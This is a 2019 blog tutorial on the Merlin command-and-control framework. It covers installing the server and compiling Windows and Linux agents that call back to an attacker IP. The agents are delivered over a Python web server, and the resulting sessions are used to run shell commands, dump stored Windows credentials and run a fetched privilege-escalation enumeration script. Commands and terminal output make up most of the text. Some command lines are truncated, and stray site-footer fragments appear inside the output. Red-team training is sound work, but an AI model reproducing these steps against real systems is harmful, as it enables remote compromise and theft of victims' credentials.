

Command and Control Guide to Merlin

March 12, 2019 By Raj Chandel

In this article, we learn how to use Merlin C2 tool. It is developed by **Russel Van Tuyl** in Go language.

Table of content:

- Introduction
- Installation
- Windows exploitation
- Windows post exploitation
- Linux exploitation
- Linux post exploitation

Introduction

Merlin is a great cross-platform Command and control tool written in the Go language. It's made of two elements i.e. the server and agent. It works on the HTTP/2 protocol. The best things about Merlin are that it is compiled to work on any platform and that you can even build it from source. Normally, agents are put on windows and are being listened on Linux but due to being written in Go language, Merlin lets us put agents on any platform/machine we come across and we can listen to it also on any platform. This is much more successful than others when it comes to red teaming as it makes IDS/IPS struggle to identify it.

The Merlin server is to be run in the folder where agents can call out to it. By default, the server is configured on 127.0.0.1:443 but you can change it to your own IP. The merlin agent can be, as discussed earlier, cross-complicated to run on any platform. Agents are interacted using the Merlin server. Any binary file is executed with the target's path variable.

Installation

Merlin's installation is pretty tricky. The most convenient way to download is shown in this article. Installing Go language is compulsory in order for Merlin to work. So, to install the Go language type:

```
apt install golang
```

And then to install merlin the following commands:

```
mkdir /opt/merlin;cd /opt/merlin
wget //github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v
```

```
root@kali:~# mkdir /opt/merlin;cd /opt/merlin
root@kali:/opt/merlin# wget https://github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v0.1.4.7z
--2019-03-06 03:43:41-- https://github.com/Ne0nd0g/merlin/releases/download/v0.1.4/merlinServer-Linux-x64-v0.1.4.7z
Resolving github.com (github.com)... 192.30.253.113, 192.30.253.112
Connecting to github.com (github.com)|192.30.253.113|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github-production-release-asset-2e65be.s3.amazonaws.com/78200488/5587a8f2-1e6b-11e8-9f01-2a1d69b41304?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20190306%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20190306T084357Z&X-Amz-Expires=300&X-Amz-Signature=196dd154788e84001352b100b97fd6570b341739750a31d8de18947c62dd6e73&X-Amz-SignedHeaders=host&actor_id=0&response-content-disposition=attachment%3B%20filename%3DmerlinServer-Linux-x64-v0.1.4.7z&response-content-type=application%2Foctet-stream [following]
--2019-03-06 03:43:58-- https://github-production-release-asset-2e65be.s3.amazonaws.com/78200488/5587a8f2-1e6b-11e8-9f01-2a1d69b41304?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20190306%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20190306T084357Z&X-Amz-Expires=300&X-Amz-Signature=196dd154788e84001352b100b97fd6570b341739750a31d8de18947c62dd6e73&X-Amz-SignedHeaders=host&actor_id=0&response-content-disposition=attachment%3B%20filename%3DmerlinServer-Linux-x64-v0.1.4.7z&response-content-type=application%2Foctet-stream
Resolving github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)... 52.216.162.187
Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (github-production-release-asset-2e65be.s3.amazonaws.com)|52.216.162.187|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1426152 (1.4M) [application/octet-stream]
Saving to: 'merlinServer-Linux-x64-v0.1.4.7z'

merlinServer-Linux-x64-v0 100%[=====>] 1.36M 237KB/s in 6.6s

2019-03-06 03:44:06 (211 KB/s) - 'merlinServer-Linux-x64-v0.1.4.7z' saved [1426152/1426152]
```

Once the above commands are executed successfully, use the following command to unzip merlin server.

```
7z x merlinServer-Linux-x64-v0.1.4.7z
```

```
root@kali:/opt/merlin# 7z x merlinServer-Linux-x64-v0.1.4.7z ↵
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-8750
H CPU @ 2.20GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1426152 bytes (1393 KiB)

Extracting archive: merlinServer-Linux-x64-v0.1.4.7z

Enter password (will not be echoed):
--
Path = merlinServer-Linux-x64-v0.1.4.7z
Type = 7z
Physical Size = 1426152
Headers Size = 1160
Method = LZMA:6m BCJ2 7zAES
Solid = +
Blocks = 2

Everything is Ok

Folders: 22
Files: 34
Size: 5303589
Compressed: 1426152
root@kali:/opt/merlin# ls ↵
data docs LICENSE merlinServer-Linux-x64 merlinServer-Linux-x64-v0.1.4.7z README.MD
root@kali:/opt/merlin#
```

Now, after unzipping, when you use ls command; you will find the merlin server and readme file. We can check if the server is running by using the following command:

```
./merlinServer-Linux-x64
```


© 2015 All Rights Reserved. www.dreamtode.in

Build: cd8f6742ebe5b1d4ed52b7ab036ab700658f9bd2

```
Merlin» [-]HTTPS Listener Started on 0.0.0.0:443
```

In “README.MD”, we find the instructions for installing “Merlin” in our system.

Getting Started

The quickest and easiest way to start using Merlin is download the pre-compiled binary files found in the [Releases](https://github.com/Ne0nd0g/merlin/releases) section. The files are compressed into 7z archives and are password protected to prevent Anti-Virus inspection when downloading. The password is `merlin`.

Install GO

In order to run Merlin from source, or to compile Merlin yourself, the Go programming language must be installed on the system. However, if you just want to run a pre-compiled version, you do not need to install Go.

Download and install GO: `https://golang.org/doc/install`

Download Merlin Server

> It is recommended to download the compiled binaries from the [Releases](https://github.com/Ne0nd0g/merlin/releases) section

> Ensure your GOPATH environment variable is [set](https://github.com/golang/go/wiki/SettingGOPATH)

Download Merlin with Go

```
`go get github.com/Ne0nd0g/merlin`
```

If you want to use git instead of Go, merlin must be in your GOPATH i.e. `\$GOPATH/src/github.com/Ne0nd0g/merlin`

```
`cd $GOPATH/src/github.com/Ne0nd0g;git clone https://github.com/Ne0nd0g/merlin/`
```

Now according to the readme file, we have to setup GOPATH environment variable for the installation and then install merlin using “go” instead of git clone. So, to complete these steps run the following set of commands:

```
echo "export GOPATH=$HOME/go" >> .bashrc
source .bashrc
go get github.com/Ne0nd0g/merlin
```

Once the directory is downloaded, let's check its contents using cd and ls commands.

```
root@kali:~# echo "export GOPATH=$HOME/go" >> .bashrc ↵
root@kali:~# source .bashrc
root@kali:~# go get github.com/Ne0nd0g/merlin
package github.com/Ne0nd0g/merlin: no Go files in /root/go/src/github.com/Ne0nd0g/merlin
root@kali:~# cd go/src/github.com/Ne0nd0g/merlin/ ↵
root@kali:~/go/src/github.com/Ne0nd0g/merlin# ls
cmd  data  docs  LICENSE  Makefile  pkg  README.MD  vendor
root@kali:~/go/src/github.com/Ne0nd0g/merlin#
```

There was a `cmd` directory, and in it, there was a directory named `merlinserver` where we found `main.go`. Run `main.go` as shown in the image below :

```
go run main.go
```

[illegible]

As you can see the tool merlin is still not running properly as there is no SSL certificate given to it. If you navigate through the /opt/merlin directory, you will find a directory named data in which there is an SSL certificate. Copy the data folder into the merlinserver directory as shown in the image below:


```
go run main.go -h
```

```
root@kali:~/go/src/github.com/Ne0nd0g/merlin/cmd/merlinserver# go run main.go -h
#####
#                MERLIN SERVER                #
#####
Version: 0.6.4.BETA
Build: nonRelease
-debug
    Enable debug output
-i string
    The IP address of the interface to bind to (default "127.0.0.1")
-p int
    Merlin Server Port (default 443)
-proto string
    Protocol for the agent to connect with [h2, hq] (default "h2")
-v
    Enable verbose output
-x509cert string
    The x509 certificate for the HTTPS listener (default "/root/go/src/github.com/Ne0nd0g/merlin/c
md/merlinserver/data/x509/server.crt")
-x509key string
    The x509 certificate key for the HTTPS listener (default "/root/go/src/github.com/Ne0nd0g/merl
in/cmd/merlinserver/data/x509/server.key")
exit status 2
root@kali:~/go/src/github.com/Ne0nd0g/merlin/cmd/merlinserver#
```

Windows exploitation

Now, to make Merlin agent for windows type the following command:

```
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=//192.168.0.11:443" -o she
```

Now, share the shell with the target using the python server:

```
python -m SimpleHTTPServer 80
```

```
root@kali:~/go/src/github.com/Ne0nd0g/merlin/cmd/merlinagent# GOOS=windows GOARCH=amd64 go build -l
dflags "-X main.url=https://192.168.0.11:443" -o shell.exe main.go
root@kali:~/go/src/github.com/Ne0nd0g/merlin/cmd/merlinagent# ls
main.go  shell.exe
root@kali:~/go/src/github.com/Ne0nd0g/merlin/cmd/merlinagent# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

In order to create a listener for the shell to revert, use the following command:

```
go run main.go -i 192.168.0.11
```



```
Merlin» help ↵
Merlin C2 Server (version 0.6.4.BETA)

COMMAND | DESCRIPTION | OPTIONS
+-----+-----+-----+
agent    | Interact with agents or list agents | interact, list
banner   | Print the Merlin banner
exit     | Exit and close the Merlin server
interact | Interact with an agent. Alias for Empire users
quit     | Exit and close the Merlin server
remove   | Remove or delete a DEAD agent from the server
sessions | List all agents session information. Alias for MSF users
use      | Use a function of Merlin module
version  | Print the Merlin server version
*        | Anything else will be execute on the host operating system

Main Menu Help

[i]Visit the wiki for additional information https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Merlin»
```

Type **sessions** to see the list of the sessions you acquire as shown in the image below:

```
Merlin» sessions ↵

+-----+-----+-----+-----+-----+-----+
| AGENT GUID | PLATFORM | USER | HOST | TRANSPORT | STATUS |
+-----+-----+-----+-----+-----+-----+
| 6fe70dcd-4702-4728-b3bb-ecaa387e4c86 | windows/amd64 | WIN-EOMLNF0GNSA\win7 | WIN-EOMLNF0GNSA | HTTP/2 (h2) | Active |
+-----+-----+-----+-----+-----+-----+

Merlin»
```

To access than an available session uses the following command:

```
interact <session name>
```

```
Merlin» interact 6fe70dcd-4702-4728-b3bb-ecaa387e4c86 ↵
Merlin[agent][6fe70dcd-4702-4728-b3bb-ecaa387e4c86]» info
```

Status	Active
ID	6fe70dcd-4702-4728-b3bb-ecaa387e4c86
Platform	windows
Architecture	amd64
UserName	WIN-E0MLNF0GNSA\win7
User GUID	S-1-5-21-3763683867-3643108173-3220291613-513
Hostname	WIN-E0MLNF0GNSA
Process ID	2692
IP	[fe80::65ff:71da:fcc4:99e6/64 192.168.0.13/24 ::1/128 127.0.0.1/8 fe80::5efe:c0a8:d/128]
Initial Check In	2019-03-06 05:11:36.848770565 -0500 EST m=+36.627915992
Last Check In	2019-03-06 05:13:10.727747907 -0500 EST m=+130.506893201
Agent Version	0.6.4.BETA
Agent Build	nonRelease
Agent Wait Time	30s
Agent Wait Time Skew	3000
Agent Message Padding Max	4096
Agent Max Retries	7
Agent Failed Check In	0
Agent Communication Protocol	h2

```
Merlin[agent][6fe70dcd-4702-4728-b3bb-ecaa387e4c86]»
```

As you have accessed the session, here you can use windows commands such as:

```
shell ipconfig
```

```

Merlin[agent][6fe70dcd-4702-4728-b3bb-ecaa387e4c86]» shell ipconfig ↩
[-]Created job dgjdVUAiOU for agent 6fe70dcd-4702-4728-b3bb-ecaa387e4c86
Merlin[agent][6fe70dcd-4702-4728-b3bb-ecaa387e4c86]» [+]Results for job dgjdVUAiOU
[+]
Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : 
    Link-local IPv6 Address . . . . . : fe80::65ff:71da:fcc4:99e6%11
    IPv4 Address. . . . . : 192.168.0.13
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.0.1

Tunnel adapter isatap.{DC9E7289-5BB5-4B79-8DC3-16D14EA42B3D}:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 
Merlin[agent][6fe70dcd-4702-4728-b3bb-ecaa387e4c86]»

```

Then further you can use various post exploitation modules, list of which are shown in the image below:

```

Merlin» interact 6fe70dcd-4702-4728-b3bb-ecaa387e4c86 ↩
Merlin[agent][6fe70dcd-4702-4728-b3bb-ecaa387e4c86]» back
Merlin» use module 
linux/x64/bash/credentials/SwapDigger
linux/x64/bash/privesc/LinEnum
windows/x64/powershell/credentials/LaZagneForensic
windows/x64/powershell/credentials/dumpCredStore
windows/x64/powershell/detection/Get-InjectedThread
windows/x64/powershell/lateral/dcom/Invoke-DCOM
windows/x64/powershell/lateral/dcom/Invoke-DCOMPowerPointPivot
windows/x64/powershell/lateral/dcom/Invoke-ExcelMacroPivot
windows/x64/powershell/lateral/gpo/Find-ComputersWithRemoteAccessPolicies
windows/x64/powershell/lateral/gpo/Grouper
windows/x64/powershell/powersploit/Get-GPPPassword
windows/x64/powershell/powersploit/Invoke-Mimikatz
windows/x64/powershell/powersploit/PowerUp
windows/x64/powershell/privesc/Find-BadPrivilege
windows/x64/powershell/privesc/Find-PotentiallyCrackableAccounts

```

Windows post exploitation

We will be using a module here to dump the credentials of windows and to activate the said post exploitation module type:

```
use module windows/x64/powershell/credentials/dumpCredStore
```

```

Merlin» use module windows/x64/powershell/credentials/dumpCredStore ↵
Merlin[module][dumpCredStore]» info ↵
Module:
    dumpCredStore
Platform:
    windows\x64\PowerShell
Module Authors:
    JimmyJoeBob Alooba
    BeetleChunks
Credits:
Description:
    PowerShell script that provides access to the Win32 Credential Manager API used for management
    of stored credentials.

Agent: 00000000-0000-0000-0000-000000000000

Module options(dumpCredStore)

  NAME | VALUE | REQUIRED | DESCRIPTION
+-----+-----+-----+-----+
  Agent | 00000000-0000-0000-0000-000000000000 | true | Agent on which to run module
        | | | dumpCredStore

Notes: This modules is a modified and stripped down version of CredMan.ps1, written by JimmyJoeBob Alooba.
Merlin[module][dumpCredStore]»

```

As you can see in the image above that info commands gives us all the details about the module including the options that we need to specify in the module. So, therefore, let's set the options:

```

set agent <agent name>
run

```

```

Merlin[module][dumpCredStore]» set agent 6fe70dcd-4702-4728-b3bb-ecaa387e4c86 ↵
[+]agent set to 6fe70dcd-4702-4728-b3bb-ecaa387e4c86
Merlin[module][dumpCredStore]» run ↵
[-]Created job fmpkbnRhmk for agent 6fe70dcd-4702-4728-b3bb-ecaa387e4c86
Merlin[module][dumpCredStore]» [+]Results for job fmpkbnRhmk
[+]-----+
|  UserName  |  win7
|  Password  |
|  Target    |  TERMSRV/192.168.1.9
|  Updated   |  2019-02-24 18:36:12 UTC
|  Comment   |
+-----+

|  UserName  |
|  Password  |  ?????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????
??????????
|  Target    |  Skype for Desktop/live:marymshore123
|  Updated   |  2019-02-27 07:37:49 UTC
|  Comment   |
+-----+

|  UserName  |
|  Password  |  ?????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????
????????????????????????????????
|  Target    |  Skype for Desktop MSA/live:marymshore123
|  Updated   |  2019-02-27 07:37:22 UTC
|  Comment   |
+-----+

```

Linux exploitation

Now, we will make a merlin agent for Linux machine. For this, simply type the following command:

```
Export GOOS=linux;export GOARCH=amd64; go build -ldflags "-s -w -X main.url=//192.
```

Once the command is executed, your malware will be created. Use the python to share the file with the victim as shown in the image below or however see it fit. For starting python HTTP server:

```
python -m SimpleHTTPServer 80
```

```
root@kali:~/go/src/github.com/Ne0nd0g/merlin/cmd/merlinagent# export GOOS=linux;export GOARCH=amd64;go build -ldflags "-s -w -X main.url=https://192.168.0.11:443" -o shell.elf main.go
root@kali:~/go/src/github.com/Ne0nd0g/merlin/cmd/merlinagent# ls
main.go  shell.elf  shell.exe
root@kali:~/go/src/github.com/Ne0nd0g/merlin/cmd/merlinagent# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

Setup the listener and wait for the file to get executed.

```
go run main.go -I 192.168.0.11
```

```

root@kali:~/go/src/github.com/Ne0nd0g/merlin/cmd/merlinserver# go run main.go -i 192.168.0.11
www.hackplayers.com
Version: 0.6.4.BETA
Build: nonRelease
Merlin» [!]Insecure publicly distributed Merlin x.509 testing certificate in use

[i]Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates
[-]Starting h2 listener on 192.168.0.11:443
[+]Received new agent checkin from 83bfe817-2f35-472b-9538-b712240ca953

```

And as shown in the image above, you will have your session. Then type sessions to see the list of sessions gained.


```
Merlin» sessions ↵
```

AGENT GUID	PLATFORM	USER	HOST	TRANSPORT	STATUS
83bfe817-2f35-472b-9538-b712240ca953	linux/amd64	memcached	ubuntu	HTTP/2 (h2)	Active

```
Merlin»
```

Then to access the session use the following command:

```
interact <session name>
```

```
Merlin» interact 83bfe817-2f35-472b-9538-b712240ca953 ↵
Merlin[agent][83bfe817-2f35-472b-9538-b712240ca953]» info ↵
```

Status	Active
ID	83bfe817-2f35-472b-9538-b712240ca953
Platform	linux
Architecture	amd64
UserName	memcached
User GUID	1000
Hostname	ubuntu
Process ID	44349
IP	[127.0.0.1/8 ::1/128 192.168.0.15/24 fe80::9c85:4bad:ba2a:7b85/64]
Initial Check In	2019-03-08 03:05:42.717157912 -0500 EST m=+51.388784860
Last Check In	2019-03-08 03:09:21.659926678 -0500 EST m=+270.331553545
Agent Version	0.6.4.BETA
Agent Build	nonRelease
Agent Wait Time	30s
Agent Wait Time Skew	3000
Agent Message Padding Max	4096
Agent Max Retries	7
Agent Failed Check In	0
Agent Communication Protocol	h2

```
Merlin[agent][83bfe817-2f35-472b-9538-b712240ca953]»
```

Then further you can use any Linux command such as:

```
shell ls
```

```

Merlin[agent][83bfe817-2f35-472b-9538-b712240ca953]> shell ls ↵
[-]Created job UMxCYmfYgs for agent 83bfe817-2f35-472b-9538-b712240ca953
Merlin[agent][83bfe817-2f35-472b-9538-b712240ca953]> [+]Results for job UMxCYmfYgs
[+]Desktop
Documents
Downloads
examples.desktop
Music
Pictures
Public
shell.elf
Templates
Videos
Merlin[agent][83bfe817-2f35-472b-9538-b712240ca953]>

```

Linux post exploitation

Even in Linux, you can further use a number of post-exploitation modules. The one we will be using in this article is privesc/LinEnum:

```
use module linux/x64/bash/privesc/LinEnum
```

```

Merlin> use module linux/x64/bash/privesc/LinEnum ↵
Merlin[module][LinEnum]> info ↵
Module:
    LinEnum
Platform:
    linux\x64\bash
Module Authors:
    Owen (@rebootuser)
Credits:
Description:
    A script to enumerate local information from a Linux host
Agent: 00000000-0000-0000-0000-000000000000
Module options(LinEnum)

```

NAME	VALUE	REQUIRED	DESCRIPTION
Agent	00000000-0000-0000-0000-000000000000	true	Agent on which to run module
keyword		false	Enter keyword
export		false	Enter export location
thorough		false	Include thorough (lengthy) tests
report		false	Enter report name
help		false	Displays the help text

```

Notes:
Merlin[module][LinEnum]>

```

Through info command, we know that we have to give a session in order to run this module. So, type:

```
set agent <session name>
run
```

```
Merlin[module][LinEnum]> set agent 83bfe817-2f35-472b-9538-b712240ca953 ↵
[+]agent set to 83bfe817-2f35-472b-9538-b712240ca953
Merlin[module][LinEnum]> run ↵
[-]Created job JrLXRwzfVM for agent 83bfe817-2f35-472b-9538-b712240ca953
Merlin[module][LinEnum]> [+]Results for job JrLXRwzfVM
[+]-2019-03-08 00:56:02- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.152.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.152.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45639 (45K) [text/plain]
Saving to: '/tmp/update.sh'

 0K ..... 100% 230K=0.2s

2019-03-08 00:56:18 (230 KB/s) - '/tmp/update.sh' saved [45639/45639]
```

And this way your module will run. Try and work with Merlin c2 tool as its one of best and as you can see how convenient it is crossed-platformed.